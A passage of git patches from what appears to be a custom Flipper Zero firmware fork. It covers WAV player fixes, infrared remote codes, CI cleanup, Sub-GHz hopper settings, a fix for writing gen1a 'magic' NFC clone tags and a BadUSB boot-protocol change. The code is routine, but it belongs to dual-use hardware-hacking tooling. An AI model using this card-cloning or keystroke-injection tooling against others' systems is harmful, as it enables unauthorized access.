[by tcpassos](https://github.com/tcpassos/flipperzero-firmware-with-wifi-marauder-companion) -> Only with custom marauder build (It is necessary to uncomment "#define WRITE_PACKETS_SERIAL" in configs.h (in marauder fw) and compile the firmware for the wifi board.) Or download precompiled build -> [Download esp32_marauder_ver_flipper_sd_serial.bin](https://github.com/justcallmekoko/ESP32Marauder/releases/latest) diff --git a/applications/external/wav_player/README.md b/applications/external/wav_player/README.md index 89052646e..b57afda87 100644 --- a/applications/external/wav_player/README.md +++ b/applications/external/wav_player/README.md @@ -2,3 +2,5 @@ A Flipper Zero application for playing wav files. My fork adds support for correct playback speed (for files with different sample rates) and for mono files (original wav player only plays stereo). ~~You still need to convert your file to unsigned 8-bit PCM format for it to played correctly on flipper~~. Now supports 16-bit (ordinary) wav files too, both mono and stereo! Original app by https://github.com/DrZlo13. + +Also outputs audio on `PA6` - `3(A6)` pin \ No newline at end of file diff --git a/applications/external/wav_player/wav_player.c b/applications/external/wav_player/wav_player.c index ce1428682..9c1b4e5b6 100644 --- a/applications/external/wav_player/wav_player.c +++ b/applications/external/wav_player/wav_player.c @@ -404,14 +404,20 @@ static void app_run(WavPlayerApp* app) { } else if(event.type == WavPlayerEventCtrlMoveL) { int32_t seek = stream_tell(app->stream) - wav_parser_get_data_start(app->parser); - seek = - MIN(seek, (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100)); + seek = MIN( + seek, + (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100) % 2 ? + ((int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100) - 1) : + (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100)); stream_seek(app->stream, -seek, StreamOffsetFromCurrent); wav_player_view_set_current(app->view, stream_tell(app->stream)); } else if(event.type == WavPlayerEventCtrlMoveR) { int32_t seek = wav_parser_get_data_end(app->parser) - stream_tell(app->stream); - seek = - MIN(seek, (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100)); + seek = MIN( + seek, + (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100) % 2 ? + ((int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100) - 1) : + (int32_t)(wav_parser_get_data_len(app->parser) / (size_t)100)); stream_seek(app->stream, seek, StreamOffsetFromCurrent); wav_player_view_set_current(app->view, stream_tell(app->stream)); } else if(event.type == WavPlayerEventCtrlOk) { From 2ff1e22ca946556063c320eb1ee72ada0ddf6984 Mon Sep 17 00:00:00 2001 From: amec0e <88857687+amec0e@users.noreply.github.com> Date: Tue, 21 Mar 2023 00:10:44 +0000 Subject: [PATCH 207/329] Updated ac.ir new addition --- assets/resources/infrared/assets/ac.ir | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/assets/resources/infrared/assets/ac.ir b/assets/resources/infrared/assets/ac.ir index 2b69e6f68..9880cf9eb 100644 --- a/assets/resources/infrared/assets/ac.ir +++ b/assets/resources/infrared/assets/ac.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 -# Last Updated 07th Mar, 2023 -# Last Checked 07th Mar, 2023 +# Last Updated 21st Mar, 2023 +# Last Checked 21st Mar, 2023 # name: POWER type: raw @@ -1680,3 +1680,9 @@ type: raw frequency: 38000 duty_cycle: 0.330000 data: 454 413 453 412 454 412 454 412 454 413 453 25102 3490 1707 483 1249 484 383 483 383 482 383 509 1222 483 383 482 384 481 385 480 385 480 1250 482 386 479 1252 479 1254 477 414 451 1281 450 1282 449 1283 449 1283 449 1284 448 417 448 417 449 1284 448 417 449 417 449 418 448 417 449 417 449 417 449 417 449 417 449 417 449 417 449 1284 448 418 448 1284 448 418 448 418 448 418 448 1284 448 1284 448 418 448 418 448 417 448 418 448 1284 448 417 449 417 448 418 448 417 449 417 449 417 449 418 448 417 449 418 448 418 448 418 448 1284 448 1284 448 1284 449 417 449 418 448 1284 448 1284 448 1284 448 35505 3485 1712 449 1283 449 417 449 417 449 417 449 1284 448 417 449 417 449 417 449 417 449 1284 448 417 449 1284 448 1284 448 417 449 1284 448 1284 448 1284 448 1283 449 1284 448 417 449 417 449 1284 448 417 449 417 449 417 449 417 449 417 449 417 449 417 449 417 449 418 448 418 448 417 449 1284 448 417 449 417 449 417 449 417 449 1284 448 417 448 418 448 418 448 417 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 1284 448 418 448 418 448 418 448 418 448 418 448 1284 448 418 448 418 448 1285 447 1285 447 418 448 35504 3486 1712 449 1283 449 417 449 417 448 417 449 1284 448 417 449 417 449 417 449 417 448 1284 448 417 449 1284 448 1284 448 417 449 1283 449 1284 448 1284 448 1284 448 1284 449 417 449 417 449 1284 448 417 449 417 449 418 448 417 449 417 449 417 449 418 448 417 449 417 449 418 448 418 448 418 448 417 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 1284 448 1284 448 1284 448 418 448 418 448 418 448 1284 448 418 448 418 448 1284 448 1284 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 418 448 1285 447 1285 447 418 448 1285 447 1285 447 1285 447 1285 447 1285 447 419 447 418 448 419 447 418 448 418 448 418 448 419 447 419 447 418 448 418 448 419 447 419 447 419 447 1285 447 1285 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 1286 446 1285 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 419 447 1286 446 420 446 420 446 420 446 420 446 419 447 1286 446 1286 446 419 447 420 446 420 446 420 446 420 446 420 446 420 446 1286 446 420 446 420 446 420 446 420 446 420 446 420 446 420 446 420 446 420 446 1286 446 420 446 420 446 420 446 1287 445 1287 445 1287 445 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1373 348 1310 376 463 1190 1318 400 1286 401 439 1244 442 1244 1288 400 465 1218 468 1218 468 1219 467 7970 1307 404 1281 405 435 1252 1281 406 1280 406 434 1252 434 1252 1281 406 434 1253 434 1252 434 1252 434 8000 1280 406 1281 406 434 1252 1281 406 1280 406 434 1252 434 1252 1281 406 434 1253 433 1253 433 1253 434 8000 1280 406 1280 406 434 1253 1280 406 1280 406 434 1253 433 1253 1280 406 434 1253 433 1253 433 1253 433 8001 1279 406 1280 406 434 1253 1280 407 1279 407 433 1253 434 1253 1280 407 433 1253 433 1253 433 1253 433 8001 1279 407 1279 407 433 1253 1280 407 1280 407 433 1253 433 1253 1280 407 433 1253 433 1253 434 1253 433 From 6e810aacb4bda8e47c5afcab42dbce5edd671a3e Mon Sep 17 00:00:00 2001 From: amec0e <88857687+amec0e@users.noreply.github.com> Date: Tue, 21 Mar 2023 00:11:07 +0000 Subject: [PATCH 208/329] Updated audio.ir new additions --- assets/resources/infrared/assets/audio.ir | 28 +++++++++++++++++++++-- 1 file changed, 26 insertions(+), 2 deletions(-) diff --git a/assets/resources/infrared/assets/audio.ir b/assets/resources/infrared/assets/audio.ir index 4a5fe8f85..1d32591b6 100644 --- a/assets/resources/infrared/assets/audio.ir +++ b/assets/resources/infrared/assets/audio.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 -# Last Updated 07th Mar, 2023 -# Last Checked 07th Mar, 2023 +# Last Updated 21st Mar, 2023 +# Last Checked 21st Mar, 2023 # name: POWER type: parsed @@ -2098,3 +2098,27 @@ type: parsed protocol: NEC address: 00 00 00 00 command: 04 00 00 00 +# +name: POWER +type: parsed +protocol: NEC +address: FD 00 00 00 +command: E2 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: FD 00 00 00 +command: E1 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: FD 00 00 00 +command: E7 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: FD 00 00 00 +command: B9 00 00 00 From f62de11de78328e9ad8f81adb4789b85b4041f6b Mon Sep 17 00:00:00 2001 From: amec0e <88857687+amec0e@users.noreply.github.com> Date: Tue, 21 Mar 2023 00:11:38 +0000 Subject: [PATCH 209/329] Updated fans.ir updated Last checked --- assets/resources/infrared/assets/fans.ir | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/resources/infrared/assets/fans.ir b/assets/resources/infrared/assets/fans.ir index d242bfdd6..29a967db2 100644 --- a/assets/resources/infrared/assets/fans.ir +++ b/assets/resources/infrared/assets/fans.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 # Last Updated 15th Feb, 2023 -# Last Checked 07th Mar, 2023 +# Last Checked 21st Mar, 2023 # name: POWER type: raw From 127f436315e93f78f9543d2b1c043ce13923f5ab Mon Sep 17 00:00:00 2001 From: amec0e <88857687+amec0e@users.noreply.github.com> Date: Tue, 21 Mar 2023 00:13:47 +0000 Subject: [PATCH 210/329] Updated projectors.ir Updated last checked --- assets/resources/infrared/assets/projectors.ir | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/resources/infrared/assets/projectors.ir b/assets/resources/infrared/assets/projectors.ir index 2be118e9c..fe281a6f2 100644 --- a/assets/resources/infrared/assets/projectors.ir +++ b/assets/resources/infrared/assets/projectors.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 # Last Updated 07th Mar, 2023 -# Last Checked 07th Mar, 2023 +# Last Checked 21st Mar, 2023 # # ON name: POWER From 1f881c6e47d24b2132bf6bde2de72d405f4fd2f3 Mon Sep 17 00:00:00 2001 From: amec0e <88857687+amec0e@users.noreply.github.com> Date: Tue, 21 Mar 2023 00:14:09 +0000 Subject: [PATCH 211/329] Updated tv.ir Updated last checked --- assets/resources/infrared/assets/tv.ir | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/resources/infrared/assets/tv.ir b/assets/resources/infrared/assets/tv.ir index fdc62cb02..d67192b7b 100755 --- a/assets/resources/infrared/assets/tv.ir +++ b/assets/resources/infrared/assets/tv.ir @@ -1,7 +1,7 @@ Filetype: IR library file Version: 1 # Last Updated 07th Mar, 2023 -# Last Checked 07th Mar, 2023 +# Last Checked 21st Mar, 2023 # name: POWER type: parsed From 08a2e51feb0c258046515c2889a09176466ad9c6 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 21 Mar 2023 03:22:06 +0300 Subject: [PATCH 212/329] Update changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1b01eb479..564b5a3ed 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,7 @@ ### New changes * Plugins: Fix minesweeper freeze bugs, do some refactoring * Plugins: Update WAV Player, 16 bit support by @LTVA1 +* Infrared: Update universal remote assets (by @amec0e | PR #394) * OFW PR: Fixed writing gen1a magic tags with invalid BCC [(PR 2511 by AloneLiberty)](https://github.com/AloneLiberty/flipperzero-firmware/tree/nfc-magic-write-fix) * OFW: BadUSB: Script interpreter refactoring * OFW: SubGhz: fix Incorrect comparison in subghz_setting_get_hopper_frequency From 5fe14d1bbaa5b02b3926650274fd599bd722f057 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 21 Mar 2023 04:04:54 +0000 Subject: [PATCH 213/329] Format --- applications/main/bad_kb/bad_kb_app.c | 4 +- .../main/bad_kb/scenes/bad_kb_scene_config.c | 38 +++++++++---------- applications/main/fap_loader/fap_loader_app.c | 11 +++++- .../xtreme_app/scenes/xtreme_app_scene_misc.c | 6 ++- 4 files changed, 34 insertions(+), 25 deletions(-) diff --git a/applications/main/bad_kb/bad_kb_app.c b/applications/main/bad_kb/bad_kb_app.c index a97315ca9..251181554 100644 --- a/applications/main/bad_kb/bad_kb_app.c +++ b/applications/main/bad_kb/bad_kb_app.c @@ -215,9 +215,7 @@ BadKbApp* bad_kb_app_alloc(char* arg) { app->var_item_list = variable_item_list_alloc(); view_dispatcher_add_view( - app->view_dispatcher, - BadKbAppViewConfig, - variable_item_list_get_view(app->var_item_list)); + app->view_dispatcher, BadKbAppViewConfig, variable_item_list_get_view(app->var_item_list)); app->bad_kb_view = bad_kb_alloc(); view_dispatcher_add_view( diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_config.c b/applications/main/bad_kb/scenes/bad_kb_scene_config.c index 24ca578d1..efdbf1ce4 100644 --- a/applications/main/bad_kb/scenes/bad_kb_scene_config.c +++ b/applications/main/bad_kb/scenes/bad_kb_scene_config.c @@ -79,25 +79,25 @@ bool bad_kb_scene_config_on_event(void* context, SceneManagerEvent event) { scene_manager_set_scene_state(bad_kb->scene_manager, BadKbSceneConfig, event.event); consumed = true; switch(event.event) { - case VarItemListIndexKeyboardLayout: - scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigLayout); - break; - case VarItemListIndexConnection: - bad_kb_config_switch_mode(bad_kb); - break; - case VarItemListIndexBtRemember: - bad_kb_config_switch_remember_mode(bad_kb); - scene_manager_previous_scene(bad_kb->scene_manager); - scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfig); - break; - case VarItemListIndexBtDeviceName: - scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigName); - break; - case VarItemListIndexBtMacAddress: - scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigMac); - break; - default: - break; + case VarItemListIndexKeyboardLayout: + scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigLayout); + break; + case VarItemListIndexConnection: + bad_kb_config_switch_mode(bad_kb); + break; + case VarItemListIndexBtRemember: + bad_kb_config_switch_remember_mode(bad_kb); + scene_manager_previous_scene(bad_kb->scene_manager); + scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfig); + break; + case VarItemListIndexBtDeviceName: + scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigName); + break; + case VarItemListIndexBtMacAddress: + scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigMac); + break; + default: + break; } } diff --git a/applications/main/fap_loader/fap_loader_app.c b/applications/main/fap_loader/fap_loader_app.c index 830968165..2f4acdad5 100644 --- a/applications/main/fap_loader/fap_loader_app.c +++ b/applications/main/fap_loader/fap_loader_app.c @@ -86,9 +86,16 @@ static bool fap_loader_run_selected_app(FapLoader* loader, bool ignore_mismatch) if(preload_res == FlipperApplicationPreloadStatusApiMismatch) { if(!ignore_mismatch) { DialogMessage* message = dialog_message_alloc(); - dialog_message_set_header(message, "API Mismatch", 64, 0, AlignCenter, AlignTop); + dialog_message_set_header( + message, "API Mismatch", 64, 0, AlignCenter, AlignTop); dialog_message_set_buttons(message, "Cancel", NULL, "Continue"); - dialog_message_set_text(message, "This app might not\nwork correctly\nContinue anyways?", 64, 32, AlignCenter, AlignCenter); + dialog_message_set_text( + message, + "This app might not\nwork correctly\nContinue anyways?", + 64, + 32, + AlignCenter, + AlignCenter); if(dialog_message_show(loader->dialogs, message) == DialogMessageButtonRight) { retry = true; } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c index 4b353c73c..ff697428a 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c @@ -88,7 +88,11 @@ void xtreme_app_scene_misc_on_enter(void* context) { variable_item_set_current_value_text(item, xtreme_settings->rgb_backlight ? "ON" : "OFF"); item = variable_item_list_add( - var_item_list, "LCD Color", rgb_backlight_get_color_count(), xtreme_app_scene_misc_lcd_color_changed, app); + var_item_list, + "LCD Color", + rgb_backlight_get_color_count(), + xtreme_app_scene_misc_lcd_color_changed, + app); value_index = rgb_backlight_get_settings()->display_color_index; variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, rgb_backlight_get_color_text(value_index)); From fd8607398dbdb986888ee0b7517d9ef5c79e06e7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=81=82=E3=81=8F?= Date: Tue, 21 Mar 2023 18:55:20 +0900 Subject: [PATCH 214/329] Github: unshallow on decontamination (#2521) * Github: unshallow on decontamination * Github: fix syntax * Github: decontaminate without full tree * Github: update decontaminate action in all workflows --- .github/workflows/build.yml | 7 ++++++- .github/workflows/lint_and_submodule_check.yml | 7 ++++++- .github/workflows/merge_report.yml | 7 ++++++- .github/workflows/pvs_studio.yml | 7 ++++++- .github/workflows/unit_tests.yml | 9 +++++++-- .github/workflows/updater_test.yml | 7 ++++++- 6 files changed, 37 insertions(+), 7 deletions(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 79535c934..6ab2490ce 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -21,7 +21,12 @@ jobs: - name: 'Decontaminate previous build leftovers' run: | if [ -d .git ]; then - git submodule status || git checkout "$(git rev-list --max-parents=0 HEAD | tail -n 1)" + git submodule status || ( + git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule + do + git rm -rf --cached "$submodule" + done + ) fi - name: 'Checkout code' diff --git a/.github/workflows/lint_and_submodule_check.yml b/.github/workflows/lint_and_submodule_check.yml index ede357932..46cca5c0d 100644 --- a/.github/workflows/lint_and_submodule_check.yml +++ b/.github/workflows/lint_and_submodule_check.yml @@ -21,7 +21,12 @@ jobs: - name: 'Decontaminate previous build leftovers' run: | if [ -d .git ]; then - git submodule status || git checkout "$(git rev-list --max-parents=0 HEAD | tail -n 1)" + git submodule status || ( + git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule + do + git rm -rf --cached "$submodule" + done + ) fi - name: 'Checkout code' diff --git a/.github/workflows/merge_report.yml b/.github/workflows/merge_report.yml index 3b7cd2349..e88346edf 100644 --- a/.github/workflows/merge_report.yml +++ b/.github/workflows/merge_report.yml @@ -15,7 +15,12 @@ jobs: - name: 'Decontaminate previous build leftovers' run: | if [ -d .git ]; then - git submodule status || git checkout "$(git rev-list --max-parents=0 HEAD | tail -n 1)" + git submodule status || ( + git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule + do + git rm -rf --cached "$submodule" + done + ) fi - name: 'Checkout code' diff --git a/.github/workflows/pvs_studio.yml b/.github/workflows/pvs_studio.yml index 9105a0fd6..65ffd1954 100644 --- a/.github/workflows/pvs_studio.yml +++ b/.github/workflows/pvs_studio.yml @@ -22,7 +22,12 @@ jobs: - name: 'Decontaminate previous build leftovers' run: | if [ -d .git ]; then - git submodule status || git checkout "$(git rev-list --max-parents=0 HEAD | tail -n 1)" + git submodule status || ( + git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule + do + git rm -rf --cached "$submodule" + done + ) fi - name: 'Checkout code' diff --git a/.github/workflows/unit_tests.yml b/.github/workflows/unit_tests.yml index bed5a470d..6f044ebca 100644 --- a/.github/workflows/unit_tests.yml +++ b/.github/workflows/unit_tests.yml @@ -15,7 +15,12 @@ jobs: - name: 'Decontaminate previous build leftovers' run: | if [ -d .git ]; then - git submodule status || git checkout "$(git rev-list --max-parents=0 HEAD | tail -n 1)" + git submodule status || ( + git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule + do + git rm -rf --cached "$submodule" + done + ) fi - name: Checkout code @@ -32,7 +37,7 @@ jobs: - name: 'Flash unit tests firmware' id: flashing if: success() - run: | + run: | ./fbt flash OPENOCD_ADAPTER_SERIAL=2A0906016415303030303032 FIRMWARE_APP_SET=unit_tests FORCE=1 - name: 'Wait for flipper and format ext' diff --git a/.github/workflows/updater_test.yml b/.github/workflows/updater_test.yml index eba34e988..c04d526fc 100644 --- a/.github/workflows/updater_test.yml +++ b/.github/workflows/updater_test.yml @@ -15,7 +15,12 @@ jobs: - name: 'Decontaminate previous build leftovers' run: | if [ -d .git ]; then - git submodule status || git checkout "$(git rev-list --max-parents=0 HEAD | tail -n 1)" + git submodule status || ( + git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule + do + git rm -rf --cached "$submodule" + done + ) fi - name: Checkout code From bf70f4b71a6d75204613fb0ce19c84598e9f0457 Mon Sep 17 00:00:00 2001 From: AloneLiberty <111039319+AloneLiberty@users.noreply.github.com> Date: Tue, 21 Mar 2023 15:03:14 +0300 Subject: [PATCH 215/329] NFC: Fixed writing gen1a magic tags with invalid BCC (#2511) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- applications/external/nfc_magic/lib/magic/magic.c | 5 ++--- applications/external/nfc_magic/nfc_magic_worker.c | 8 +++++--- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/applications/external/nfc_magic/lib/magic/magic.c b/applications/external/nfc_magic/lib/magic/magic.c index a922bc7a8..9a71daaa0 100644 --- a/applications/external/nfc_magic/lib/magic/magic.c +++ b/applications/external/nfc_magic/lib/magic/magic.c @@ -6,8 +6,7 @@ #define MAGIC_CMD_WUPA (0x40) #define MAGIC_CMD_WIPE (0x41) -#define MAGIC_CMD_READ (0x43) -#define MAGIC_CMD_WRITE (0x43) +#define MAGIC_CMD_ACCESS (0x43) #define MAGIC_MIFARE_READ_CMD (0x30) #define MAGIC_MIFARE_WRITE_CMD (0xA0) @@ -70,7 +69,7 @@ bool magic_data_access_cmd() { FuriHalNfcReturn ret = 0; do { - tx_data[0] = MAGIC_CMD_WRITE; + tx_data[0] = MAGIC_CMD_ACCESS; ret = furi_hal_nfc_ll_txrx_bits( tx_data, 8, diff --git a/applications/external/nfc_magic/nfc_magic_worker.c b/applications/external/nfc_magic/nfc_magic_worker.c index 523c794f7..92eb793a7 100644 --- a/applications/external/nfc_magic/nfc_magic_worker.c +++ b/applications/external/nfc_magic/nfc_magic_worker.c @@ -85,15 +85,17 @@ void nfc_magic_worker_write(NfcMagicWorker* nfc_magic_worker) { card_found_notified = true; } furi_hal_nfc_sleep(); - if(!magic_wupa()) { - FURI_LOG_E(TAG, "Not Magic card"); + FURI_LOG_E(TAG, "No card response to WUPA (not a magic card)"); nfc_magic_worker->callback( NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); break; } + furi_hal_nfc_sleep(); + } + if(magic_wupa()) { if(!magic_data_access_cmd()) { - FURI_LOG_E(TAG, "Not Magic card"); + FURI_LOG_E(TAG, "No card response to data access command (not a magic card)"); nfc_magic_worker->callback( NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); break; From ce50b09b286835d24d5d4d1aeca048260f1205a6 Mon Sep 17 00:00:00 2001 From: Nikolay Minaylov Date: Tue, 21 Mar 2023 15:29:54 +0300 Subject: [PATCH 216/329] Remove hmac_sha256 from public API (#2519) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- {lib/toolbox => applications/main/u2f}/hmac_sha256.c | 0 {lib/toolbox => applications/main/u2f}/hmac_sha256.h | 0 applications/main/u2f/u2f.c | 2 +- firmware/targets/f18/api_symbols.csv | 7 ++----- firmware/targets/f7/api_symbols.csv | 7 ++----- lib/toolbox/SConscript | 2 +- 6 files changed, 6 insertions(+), 12 deletions(-) rename {lib/toolbox => applications/main/u2f}/hmac_sha256.c (100%) rename {lib/toolbox => applications/main/u2f}/hmac_sha256.h (100%) diff --git a/lib/toolbox/hmac_sha256.c b/applications/main/u2f/hmac_sha256.c similarity index 100% rename from lib/toolbox/hmac_sha256.c rename to applications/main/u2f/hmac_sha256.c diff --git a/lib/toolbox/hmac_sha256.h b/applications/main/u2f/hmac_sha256.h similarity index 100% rename from lib/toolbox/hmac_sha256.h rename to applications/main/u2f/hmac_sha256.h diff --git a/applications/main/u2f/u2f.c b/applications/main/u2f/u2f.c index 767733ce6..0ed5ebb29 100644 --- a/applications/main/u2f/u2f.c +++ b/applications/main/u2f/u2f.c @@ -7,7 +7,7 @@ #include // for lfs_tobe32 #include "toolbox/sha256.h" -#include "toolbox/hmac_sha256.h" +#include "hmac_sha256.h" #include "micro-ecc/uECC.h" #define TAG "U2F" diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index 7fa269c96..b6be56f60 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,18.2,, +Version,+,19.0,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -160,7 +160,6 @@ Header,+,lib/toolbox/args.h,, Header,+,lib/toolbox/crc32_calc.h,, Header,+,lib/toolbox/dir_walk.h,, Header,+,lib/toolbox/float_tools.h,, -Header,+,lib/toolbox/hmac_sha256.h,, Header,+,lib/toolbox/manchester_decoder.h,, Header,+,lib/toolbox/manchester_encoder.h,, Header,+,lib/toolbox/md5.h,, @@ -169,6 +168,7 @@ Header,+,lib/toolbox/pretty_format.h,, Header,+,lib/toolbox/protocols/protocol_dict.h,, Header,+,lib/toolbox/random_name.h,, Header,+,lib/toolbox/saved_struct.h,, +Header,+,lib/toolbox/sha256.h,, Header,+,lib/toolbox/stream/buffered_file_stream.h,, Header,+,lib/toolbox/stream/file_stream.h,, Header,+,lib/toolbox/stream/stream.h,, @@ -1316,9 +1316,6 @@ Function,+,gui_view_port_send_to_front,void,"Gui*, ViewPort*" Function,+,hal_sd_detect,_Bool, Function,+,hal_sd_detect_init,void, Function,+,hal_sd_detect_set_low,void, -Function,+,hmac_sha256_finish,void,"const hmac_sha256_context*, const uint8_t*, uint8_t*" -Function,+,hmac_sha256_init,void,"hmac_sha256_context*, const uint8_t*" -Function,+,hmac_sha256_update,void,"const hmac_sha256_context*, const uint8_t*, unsigned" Function,+,icon_animation_alloc,IconAnimation*,const Icon* Function,+,icon_animation_free,void,IconAnimation* Function,+,icon_animation_get_height,uint8_t,const IconAnimation* diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index c98e54672..e6de39b1d 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,18.2,, +Version,+,19.0,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -192,7 +192,6 @@ Header,+,lib/toolbox/args.h,, Header,+,lib/toolbox/crc32_calc.h,, Header,+,lib/toolbox/dir_walk.h,, Header,+,lib/toolbox/float_tools.h,, -Header,+,lib/toolbox/hmac_sha256.h,, Header,+,lib/toolbox/manchester_decoder.h,, Header,+,lib/toolbox/manchester_encoder.h,, Header,+,lib/toolbox/md5.h,, @@ -201,6 +200,7 @@ Header,+,lib/toolbox/pretty_format.h,, Header,+,lib/toolbox/protocols/protocol_dict.h,, Header,+,lib/toolbox/random_name.h,, Header,+,lib/toolbox/saved_struct.h,, +Header,+,lib/toolbox/sha256.h,, Header,+,lib/toolbox/stream/buffered_file_stream.h,, Header,+,lib/toolbox/stream/file_stream.h,, Header,+,lib/toolbox/stream/stream.h,, @@ -1604,9 +1604,6 @@ Function,+,gui_view_port_send_to_front,void,"Gui*, ViewPort*" Function,+,hal_sd_detect,_Bool, Function,+,hal_sd_detect_init,void, Function,+,hal_sd_detect_set_low,void, -Function,+,hmac_sha256_finish,void,"const hmac_sha256_context*, const uint8_t*, uint8_t*" -Function,+,hmac_sha256_init,void,"hmac_sha256_context*, const uint8_t*" -Function,+,hmac_sha256_update,void,"const hmac_sha256_context*, const uint8_t*, unsigned" Function,-,hypot,double,"double, double" Function,-,hypotf,float,"float, float" Function,-,hypotl,long double,"long double, long double" diff --git a/lib/toolbox/SConscript b/lib/toolbox/SConscript index d7b0e7bbc..fad4c5584 100644 --- a/lib/toolbox/SConscript +++ b/lib/toolbox/SConscript @@ -12,7 +12,7 @@ env.Append( File("manchester_encoder.h"), File("path.h"), File("random_name.h"), - File("hmac_sha256.h"), + File("sha256.h"), File("crc32_calc.h"), File("dir_walk.h"), File("md5.h"), From db54c463e610e1ce9feae09b0c45af646a95864c Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 21 Mar 2023 17:52:21 +0300 Subject: [PATCH 217/329] Fix hopper stuck at 433.42 due to wide range tx'es When we using 433.92 remote flipper in hopping mode will stuck at 433.42 and may loose signal because of that, need to avoid using close freqs in hopping, only freqs with bigger difference like 310 -> 315 --- documentation/SubGHzSettings.md | 1 - lib/subghz/subghz_setting.c | 1 - 2 files changed, 2 deletions(-) diff --git a/documentation/SubGHzSettings.md b/documentation/SubGHzSettings.md index d01cd6250..2d14307c7 100644 --- a/documentation/SubGHzSettings.md +++ b/documentation/SubGHzSettings.md @@ -91,7 +91,6 @@ Your frequencies will be added after default ones ``` 310000000, 315000000, - 433420000, 433920000, 868350000, ``` diff --git a/lib/subghz/subghz_setting.c b/lib/subghz/subghz_setting.c index 144c16120..34cf16915 100644 --- a/lib/subghz/subghz_setting.c +++ b/lib/subghz/subghz_setting.c @@ -79,7 +79,6 @@ static const uint32_t subghz_frequency_list[] = { static const uint32_t subghz_hopper_frequency_list[] = { 310000000, 315000000, - 433420000, 433920000, 868350000, 0, From 6089e9210f67712284e14c147123938cd7be9bd9 Mon Sep 17 00:00:00 2001 From: Sam Edwards Date: Tue, 21 Mar 2023 08:53:07 -0600 Subject: [PATCH 218/329] BadUSB: implement boot protocol (#2496) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * BadUSB: remove unused out EP * BadUSB: do not use iad for a single interface * BadUSB: implement the boot protocol * BadUSB: implement SET_PROTOCOL * Improve HID report descriptor readability * CODEOWNERS update Co-authored-by: nminaylov Co-authored-by: あく --- .github/CODEOWNERS | 3 + .../targets/f7/furi_hal/furi_hal_usb_hid.c | 247 ++++++++++-------- 